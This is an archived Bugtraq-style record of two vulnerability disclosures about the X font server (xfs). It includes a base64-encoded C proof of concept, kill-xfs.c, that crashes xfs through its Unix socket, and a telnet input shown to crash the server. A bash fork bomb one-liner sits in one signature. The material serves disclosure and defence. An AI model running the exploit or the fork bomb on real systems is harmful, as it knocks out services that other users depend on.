5013632 2000-04-17 04:40 /51 rader/ Postmaster
Mottagare: Bugtraq (import) <10488>
Ärende: xfs
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Sender: lcamtuf@localhost
X-Nmymbofr: Nir Orb Buk
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-15787662-955891891=:1186"
Message-ID: <Pine.LNX.4.10.10004161525040.1186-200000@localhost>
Date: Sun, 16 Apr 2000 15:31:31 +0200
Reply-To: Michal Zalewski <lcamtuf@TPI.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Michal Zalewski <lcamtuf@TPI.PL>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable
text, while the remaining parts are likely unreadable without
MIME-aware tools. Send mail to mime@docserver.cac.washington.edu
for more info.
--8323328-15787662-955891891=:1186
Content-Type: TEXT/PLAIN; charset=US-ASCII
Due to improper input validation (NULL pointer occours on strcpy()),
any user may crash X fontserver under RedHat 6.x, causing effective
DoS for whole X server :)
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
--8323328-15787662-955891891=:1186
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="kill-xfs.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.10004161531310.1186@localhost>
Content-Description:
Content-Disposition: attachment; filename="kill-xfs.c"
I2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvdW4uaD4N
Cg0KI2RlZmluZSBDTlQgNTANCiNkZWZpbmUgRlMgIi90bXAvLmZvbnQtdW5p
eC9mcy0xIg0KDQppbnQgcyx5Ow0Kc3RydWN0IHNvY2thZGRyX3VuIHg7DQoN
CmNoYXIgYnVmW0NOVF07DQoNCm1haW4oKSB7DQogIGZvciAoeTt5PDI7eSsr
KSB7DQogICAgcz1zb2NrZXQoUEZfVU5JWCxTT0NLX1NUUkVBTSwwKTsNCiAg
ICB4LnN1bl9mYW1pbHk9QUZfVU5JWDsNCiAgICBzdHJjcHkoeC5zdW5fcGF0
aCxGUyk7DQogICAgaWYgKGNvbm5lY3QocywmeCxzaXplb2YoeCkpKSB7IHBl
cnJvcihGUyk7IGV4aXQoMSk7IH0NCiAgICBpZiAoIXkpIHdyaXRlKHMsImxL
IiwyKTsNCiAgICBtZW1zZXQoYnVmLCdBJyxDTlQpOw0KICAgIHdyaXRlKHMs
YnVmLENOVCk7DQogICAgc2h1dGRvd24ocywyKTsNCiAgICBjbG9zZShzKTsN
CiAgfQ0KfQ0K
--8323328-15787662-955891891=:1186--
(5013632) ------------------------------------------(Ombruten)
Date: Mon, 31 May 1999 18:09:47 +0100 (GMT)
From: Chris Evans <chris@ferret.lmh.ox.ac.uk>
To: <removed>
Subject: xfs security issues
Hi,
I can't remember if I ever sent you these. Fixing "xfs" security has
been on my TODO list for a while but I just haven't had the time :-(
Hopefully if I give you an overview of the issues, you can get
someone to sort it out. I regard the issues as serious.
Essentially, xfs is very easy for a remote user to segfault. This is
obviously bad because all dependent X servers will go down- very
nasty DoS. The problem attracted my attention because RedHat now use
"xfs" to serve fonts to the local X server. Fortunately, I persuaded
them to disable xfs listening via TCP!
The problems could well be worse than DoS - if you can get the
process to trample on random memory, this can often be leveraged in
some way...
Generally, most of xfs's problems are blind trust of lengths supplied
in data arriving over the network. This means it is always jumping
off the end of buffers and crashing.
Here is a practical example of the above:
telnet localhost 7100
Connected etc.
BBBBBB<press return>
xfs has crashed at this point.
Unfortunately, this flaw occurs in multiple places rather than just once.
The font protocol looks into network packets for lengths, multiple times.
As another practical example,
dispatch.c (from xfs), function ProcEstablishConnection(). There is
the line of code ad += client_auth[i].datalen;
Which again picks an unsigned short out of the network packet, and
trusts it not to take us over the end of the input buffer.
Related to the above, there is a very very subtle bug related to
signed/unsigned conversions. We get an unsigned short from the
network, and then store it in the following structure
typedef struct _auth {
short namelen;
short datalen;
char *name;
char *data;
} AuthRec;
i.e. we stuff an unsigned short into a signed short, so we can get a
-ve value. This -ve value then gets passed to a memcpy() and becomes
positive and very large, smashing various internal buffers.
There is one other crash issue I noticed by inspection. In dispatch.c
from xfs, ~line 932, there is an assert() statement. This assert is
fired in response to network data the program doesn't understand!
This is clearly a bug - assert() is for use when a program bug has
been hit, rather than corrupt data arriving over the network.
Let me know what you think about the above. In particular, let me
know if it is going to take a while to fix. I might be able to
persuade someone on the security-audit list to look into it if you
and your developers are too busy.
Cheers
Chris
(5023123) ------------------------------------------(Ombruten)